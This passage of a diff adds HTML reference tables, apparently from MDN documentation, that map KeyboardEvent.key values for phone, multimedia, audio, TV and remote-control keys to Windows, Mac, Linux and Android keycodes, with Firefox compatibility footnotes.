+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AppSwitch"</code></td>
+   <td>Presents a list of recently-used applications which lets the user change apps quickly.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_APP_SWITCH</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"Call"</code></td>
+   <td>The <kbd>Call</kbd> key; dials the number which has been entered.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Call</code> (0x01100004)</td>
+   <td><code>KEYCODE_CALL</code> (5)</td>
+  </tr>
+  <tr>
+   <td><code>"Camera"</code></td>
+   <td>The <kbd>Camera</kbd> key; activates the camera.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Camera</code> (0x01100020)</td>
+   <td><code>KEYCODE_CAMERA</code> (27)</td>
+  </tr>
+  <tr>
+   <td><code>"CameraFocus"</code></td>
+   <td>The <kbd>Focus</kbd> key; focuses the camera.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_CameraFocus</code> (0x01100021)</td>
+   <td><code>KEYCODE_FOCUS</code> (80)</td>
+  </tr>
+  <tr>
+   <td><code>"EndCall"</code></td>
+   <td>The <kbd>End Call</kbd> or <kbd>Hang Up</kbd> button.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Hangup</code> (0x01100005)</td>
+   <td><code>KEYCODE_ENDCALL</code> (6)</td>
+  </tr>
+  <tr>
+   <td><code>"GoBack"</code></td>
+   <td>The <kbd>Back</kbd> button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"GoHome"</code> [1]</td>
+   <td>The <kbd>Home</kbd> button, which takes the user to the phone's main screen (usually an application launcher).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"HeadsetHook"</code></td>
+   <td>The <kbd>Headset Hook</kbd> key. This is typically actually a button on the headset which is used to hang up calls and play or pause media.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_ToggleCallHangup</code> (0x01100007)</td>
+   <td><code>KEYCODE_HEADSETHOOK</code> (79)</td>
+  </tr>
+  <tr>
+   <td><code>"LastNumberRedial"</code></td>
+   <td>The <kbd>Redial</kbd> button, which redials the last-called number.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_LastNumberRedial</code> (0x01100009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Notification"</code></td>
+   <td>The <kbd>Notification</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NOTIFICATION</code> (83)</td>
+  </tr>
+  <tr>
+   <td><code>"MannerMode"</code></td>
+   <td>A button which cycles among the notification modes: silent, vibrate, ring, and so forth.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MANNER_MODE</code> (205)</td>
+  </tr>
+  <tr>
+   <td><code>"VoiceDial"</code></td>
+   <td>The <kbd>Voice Dial</kbd> key. Initiates voice dialing.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_VoiceDial</code> (0x01100008)</td>
+   <td><code>KEYCODE_VOICE_ASSIST</code> (231)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Prior to Firefox 37, the Home button generated a key code of <code>"Exit"</code>. Starting in Firefox 37, the button generates the key code <code>"MozHomeScreen"</code>.</p>
+
+<h2 id="Multimedia_keys">Multimedia keys</h2>
+
+<p>The multimedia keys are extra buttons or keys for controlling media devices, found on some keyboards.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"ChannelDown"</code></td>
+   <td>Switches to the previous channel.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelDown</code> (0x01000119)</td>
+   <td><code>KEYCODE_CHANNEL_DOWN</code> (167)</td>
+  </tr>
+  <tr>
+   <td><code>"ChannelUp"</code></td>
+   <td>Switches to the next channel.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelUp</code> (0x01000118)</td>
+   <td><code>KEYCODE_CHANNEL_UP</code> (166)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaFastForward"</code> [2]</td>
+   <td>Starts, continues, or increases the speed of fast forwarding the media.</td>
+   <td><code>APPCOMMAND_MEDIA_FAST_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioForward (0x1008FF97)<br>
+    Qt:Key_AudioForward</code> (0x01000102)</td>
+   <td><code>KEYCODE_MEDIA_FAST_FORWARD</code> (90)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPause"</code></td>
+   <td>Pauses the currently playing media. Some older applications use simply "Pause" but this is not correct.</td>
+   <td><code>APPCOMMAND_MEDIA_PAUSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPause</code> (0x1008FF31)<br>
+    <code>Qt::Key_MediaPause</code> (0x1000085)</td>
+   <td><code>KEYCODE_MEDIA_PAUSE</code> (127)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlay"</code></td>
+   <td>Starts or continues playing media at normal speed, if not already doing so. Has no effect otherwise.</td>
+   <td><code>APPCOMMAND_MEDIA_PLAY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td>
+   <td><code>KEYCODE_MEDIA_PLAY</code><code> (126)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlayPause"</code></td>
+   <td>Toggles between playing and pausing the current media.</td>
+   <td><code>VK_MEDIA_PLAY_PAUSE</code> (0xB3)<br>
+    <code>APPCOMMAND_MEDIA_PLAY_PAUSE</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaTogglePlayPause</code> (0x1000086)</td>
+   <td><code>KEYCODE_MEDIA_PLAY_PAUSE</code> (85)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaRecord"</code></td>
+   <td>Starts or resumes recording media.</td>
+   <td><code>APPCOMMAND_MEDIA_RECORD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRecord</code> (0x1008FF1C)<br>
+    <code>Qt::Key_MediaRecord</code> (0x01000084)</td>
+   <td><code>KEYCODE_MEDIA_RECORD</code><code> (130)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaRewind"</code></td>
+   <td>Starts, continues, or increases the speed of rewinding the media.</td>
+   <td><code>APPCOMMAND_MEDIA_REWIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRewind</code> (0x1008FF3E)<br>
+    <code>Qt::Key_AudioRewind</code> (0x010000C5)</td>
+   <td><code>KEYCODE_MEDIA_REWIND</code><code> (89)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStop"</code></td>
+   <td>Stops the current media activity (such as playing, recording, pausing, forwarding, or rewinding). Has no effect if the media is currently stopped already.</td>
+   <td><code>VK_MEDIA_STOP</code> (0xB2)<br>
+    <code>APPCOMMAND_MEDIA_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioStop</code> (0x1008FF15)<br>
+    <code>Qt::Key_MediaStop</code> (0x01000081)</td>
+   <td><code>KEYCODE_MEDIA_STOP</code> (86)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackNext"</code> [1]</td>
+   <td>Seeks to the next media or program track.</td>
+   <td><code>VK_MEDIA_NEXT_TRACK</code> (0xB0)<br>
+    <code>APPCOMMAND_MEDIA_NEXTTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioNext</code> (0x1008FF17)<br>
+    <code>Qt::Key_MediaNext</code> (0x01000083)</td>
+   <td><code>KEYCODE_MEDIA_NEXT</code> (87)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackPrevious"</code> [1]</td>
+   <td>Seeks to the previous media or program track.</td>
+   <td><code>VK_MEDIA_PREV_TRACK</code> (0xB1)<br>
+    <code>APPCOMMAND_MEDIA_PREVIOUSTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPrev</code> (0x1008FF16)<br>
+    <code>Qt::Key_MediaPrevious</code> (0x01000082)</td>
+   <td><code>KEYCODE_MEDIA_PREVIOUS</code> (88)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, and Firefox (36 and earlier) use <code>"MediaNextTrack"</code> and <code>"MediaPreviousTrack"</code> instead of <code>"MediaTrackNext"</code> and <code>"MediaTrackPrevious"</code>.</p>
+
+<p>[2] Prior to Firefox 37, Firefox generated the key code <code>"FastFwd"</code> on some platforms and <code>"Unidentified"</code> on others instead of <code>"MediaFastForward"</code>.</p>
+
+<h2 id="Audio_control_keys">Audio control keys</h2>
+
+<p>These media keys are used specifically for controlling audio.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceLeft"</code></td>
+   <td>Adjusts audio balance toward the left.</td>
+   <td><code>VK_AUDIO_BALANCE_LEFT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceRight"</code></td>
+   <td>Adjusts audio balance twoard the right.</td>
+   <td><code>VK_AUDIO_BALANCE_RIGHT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassDown"</code></td>
+   <td>Decreases the amount of bass.</td>
+   <td><code>APPCOMMAND_BASS_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostDown"</code></td>
+   <td>Reduces bass boosting or cycles downward through bass boost modes or states.</td>
+   <td><code>VK_BASS_BOOST_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostToggle"</code></td>
+   <td>Toggles bass boosting on and off.</td>
+   <td><code>APPCOMMAND_BASS_BOOST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostUp"</code></td>
+   <td>Increases the amoung of bass boosting, or cycles upward through a set of bass boost modes or states.</td>
+   <td><code>VK_BASS_BOOST_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassUp"</code></td>
+   <td>Increases the amount of bass.</td>
+   <td><code>APPCOMMAND_BASS_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderFront"</code></td>
+   <td>Adjusts the audio fader toward the front.</td>
+   <td><code>VK_FADER_FRONT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderRear"</code></td>
+   <td>Adjustts the audio fader toward the rear.</td>
+   <td><code>VK_FADER_REAR</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioSurroundModeNext"</code></td>
+   <td>Selects the next available surround sound mode.</td>
+   <td><code>VK_SURROUND_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleDown"</code></td>
+   <td>Decreases the amount of treble.</td>
+   <td><code>APPCOMMAND_TREBLE_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleUp"</code></td>
+   <td>Increases the amount of treble.</td>
+   <td><code>APPCOMMAND_TREBLE_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeDown" [1]</code></td>
+   <td>Decreases the audio volume.</td>
+   <td><code>VK_VOLUME_DOWN</code> (0xAE)<br>
+    <code>APPCOMMAND_VOLUME_DOWN</code></td>
+   <td><code>kVK_VolumeDown</code> (0x49)</td>
+   <td><code>GDK_KEY_AudioLowerVolume</code> (0x1008FF11)<br>
+    <code>Qt::Key_VolumeDown</code> (0x01000070)</td>
+   <td><code>KEYCODE_VOLUME_DOWN</code> (25)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeMute" [1]</code></td>
+   <td>Mutes the audio.</td>
+   <td><code>VK_VOLUME_MUTE</code> (0xAD)<br>
+    <code>APPCOMMAND_VOLUME_MUTE</code></td>
+   <td><code>kVK_Mute</code> (0x4A)</td>
+   <td><code>GDK_KEY_AudioMute</code> (0x1008FF12)<br>
+    <code>Qt::Key_VolumeMute</code> (0x01000071)</td>
+   <td><code>KEYCODE_VOLUME_MUTE</code> (164)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeUp" [1]</code></td>
+   <td>Increases the audio volume.</td>
+   <td><code>VK_VOLUME_UP</code> (0xAF)<br>
+    <code>APPCOMMAND_VOLUME_UP</code></td>
+   <td><code>kVK_VolumeUp</code> (0x48)</td>
+   <td><code>GDK_KEY_AudioRaiseVolume</code> (0x1008FF13)<br>
+    <code>Qt::Key_VolumeUp</code> (0x01000072)</td>
+   <td><code>KEYCODE_VOLUME_UP</code> (24)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneToggle"</code></td>
+   <td>Toggles the microphone on and off.</td>
+   <td><code>APPCOMMAND_MIC_ON_OFF_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeDown"</code></td>
+   <td>Decreases the microphone's input volume.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeDown</code> (0x0100011E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeMute"</code></td>
+   <td>Mutes the microphone input.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_MUTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioMicMute</code> (0x1008FFB2)<br>
+    <code>Qt::Key_MicMute</code> (0x01000113)</td>
+   <td><code>KEYCODE_MUTE</code> (91)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeUp"</code></td>
+   <td>Increases the microphone's input volume.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeUp</code> (0x0100011D)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, and Firefox (48 and earlier) use <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, and <code>"VolumeMute"</code> instead of <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, and <code>"AudioVolumeMute"</code>. In Firefox 49 they were updated to match the latest specification. The old names are still used on <a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p>
+
+<h2 id="TV_control_keys">TV control keys</h2>
+
+<p>These key values represent buttons or keys present on television devices, or computers or phones which have TV support.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"TV"</code> [1]</td>
+   <td>Switches into TV viewing mode.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV</code> (170)</td>
+  </tr>
+  <tr>
+   <td><code>"TV3DMode"</code></td>
+   <td>Toggles 3D TV mode on and off.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_3D_MODE</code> (206)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAntennaCable"</code></td>
+   <td>Toggles between antenna and cable inputs.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_ANTENNA_CABLE</code> (242)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescription"</code></td>
+   <td>Toggles audio description mode on and off.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION</code> (252)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixDown"</code></td>
+   <td>Decreases trhe audio description's mixing volume; reduces the volume of the audio descriptions relative to the program sound.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN</code> (254)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixUp"</code></td>
+   <td>Increases the audio description's mixing volume; increases the volume of the audio descriptions relative to the program sound.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP</code> (253)</td>
+  </tr>
+  <tr>
+   <td><code>"TVContentsMenu"</code></td>
+   <td>Displays or hides the media contents available for playback (this may be a channel guide showing the currently airing programs, or a list of media files to play).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_CONTENTS_MENU</code> (256)</td>
+  </tr>
+  <tr>
+   <td><code>"TVDataService"</code></td>
+   <td>Displays or hides the TV's data service menu.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_DATA_SERVICE</code> (230)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInput"</code> [2]</td>
+   <td>Cycles the input mode on an external TV.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT</code> (178)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent1"</code></td>
+   <td>Switches to the input "Component 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_1</code> (249)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent2"</code></td>
+   <td>Switches to the input "Component 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_2</code> (250)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite1"</code></td>
+   <td>Switches to the input "Composite 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_1</code> (247)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite2"</code></td>
+   <td>Switches to the input "Composite 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_2</code> (248)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI1"</code></td>
+   <td>Switches to the input "HDMI 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_1</code> (243)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI2"</code></td>
+   <td>Switches to the input "HDMI 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_2</code> (244)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI3"</code></td>
+   <td>Switches to the input "HDMI 3."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_3</code> (245)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI4"</code></td>
+   <td>Switches to the input "HDMI 4."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_4</code> (246)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputVGA1"</code></td>
+   <td>Switches to the input "VGA 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_VGA_1</code> (251)</td>
+  </tr>
+  <tr>
+   <td><code>"TVMediaContext"</code></td>
+   <td>The Media Context menu key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_MEDIA_CONTEXT_MENU</code> (257)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNetwork"</code></td>
+   <td>Toggle the TV's network connection on and off.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NETWORK</code> (241)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNumberEntry"</code></td>
+   <td>Put the TV into number entry mode.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NUMBER_ENTRY</code> (234)</td>
+  </tr>
+  <tr>
+   <td><code>"TVPower"</code> [2]</td>
+   <td>The device's power button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_POWER</code> (177)</td>
+  </tr>
+  <tr>
+   <td><code>"TVRadioService"</code></td>
+   <td>Radio button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_RADIO_SERVICE</code> (232)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatellite"</code></td>
+   <td>Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE</code> (237)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteBS"</code></td>
+   <td>Broadcast Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_BS</code> (238)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteCS"</code></td>
+   <td>Communication Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_CS</code> (239)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteToggle"</code></td>
+   <td>Toggles among available satellites.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_SERVICE</code> (240)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialAnalog"</code></td>
+   <td>Selects analog terrestrial television service (analog cable or antenna reception).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_ANALOG</code> (235)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialDigital"</code></td>
+   <td>Selects digital terrestrial television service (digital cable or antenna receiption).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_DIGITAL</code> (236)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTimer"</code></td>
+   <td>Timer programming button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TIMER_PROGRAMMING</code> (258)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Firefox added proper support for the <code>"TV"</code> key in Firefox 37; before that, this key generated the key code <code>"Live"</code>.</p>
+
+<p>[2] These keys were <code>"Unidentified"</code> until Firefox 37.</p>
+
+<h2 id="Media_controller_keys">Media controller keys</h2>
+
+<p>Because modern remote controls for media devices often include buttons beyond the basic controls covered elsewhere in this document, key values are defined for a broad array of these additional buttons.</p>
+
+<p>The values below are derived in part form a number of consumer electronics technical specifications:</p>
+
+<ul>
+ <li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (part of the {{interwiki("wikipedia", "ATSC")}} specification)</li>
+ <li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li>
+ <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Web-based Protocol and Framework for Remote User Interface on UPnP™ Networks and the Internet</li>
+ <li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li>
+</ul>
+
+<div class="note">
+<p>Remote controls typically include keys whose values are already defined elsewhere, such as under {{anch("Multimedia keys")}} or {{anch("Audio control keys")}}. Those keys' values will match what's documented in those tables.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AVRInput"</code> [3]</td>
+   <td>Changes the input mode on an external audio/video receiver (AVR) unit.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_INPUT</code> (182)</td>
+  </tr>
+  <tr>
+   <td><code>"AVRPower"</code> [3]</td>
+   <td>Toggles the power on an external AVR unit.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_POWER</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF0Red"</code> [3]</td>
+   <td>General-purpose media function key, color-coded red; this has index 0 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_0</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_RED</code> (183)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF1Green"</code> [3]</td>
+   <td>General-purpose media funciton key, color-coded green; this has index 1 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_1</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREEN</code> (184)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF2Yellow"</code> [3]</td>
+   <td>General-purpose media funciton key, color-coded yellow; this has index 2 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_2</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_YELLOW</code> (185)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF3Blue"</code> [3]</td>
+   <td>General-purpose media funciton key, color-coded blue; this has index 3 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_3</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BLUE</code> (186)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF4Grey"</code></td>
+   <td>General-purpose media funciton key, color-coded grey; this has index 4 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_4</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREY</code></td>
+  </tr>
+  <tr>
+   <td><code>"ColorF5Brown"</code></td>
+   <td>General-purpose media funciton key, color-coded brown; this has index 5 among the colored keys.</td>
+   <td><code>VK_COLORED_KEY_5</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BROWN</code></td>
+  </tr>
+  <tr>
+   <td><code>"ClosedCaptionToggle"</code></td>
+   <td>Toggles closed captioning on and off.</td>
+   <td><code>VK_CC</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Dimmer"</code></td>
+   <td>Adjusts the brightness of the device by toggling between two brightness levels <em>or</em> by cycling among multiple brightness levels.</td>
+   <td><code>VK_DIMMER</code></td>
+   <td></td>
+   <td><code>GDK_KEY_BrightnessAdjust</code> (0x1008FF3B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DisplaySwap"</code></td>
+   <td>Cycles among video sources.</td>
+   <td><code>VK_DISPLAY_SWAP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DVR"</code></td>
+   <td>Switches the input source to the Digital Video Recorder (DVR).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DVR</code> (173)</td>
+  </tr>
+  <tr>
+   <td><code>"Exit"</code></td>
+   <td>The Exit button, which exits the curreent application or menu.</td>
+   <td><code>VK_EXIT</code></td>
+   <td></td>
+   <td><code>Qt::Key_Exit</code> (0x0102000a)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear0"</code></td>
+   <td>Clears the program or content stored in the first favorites list slot.</td>
+   <td><code>VK_CLEAR_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
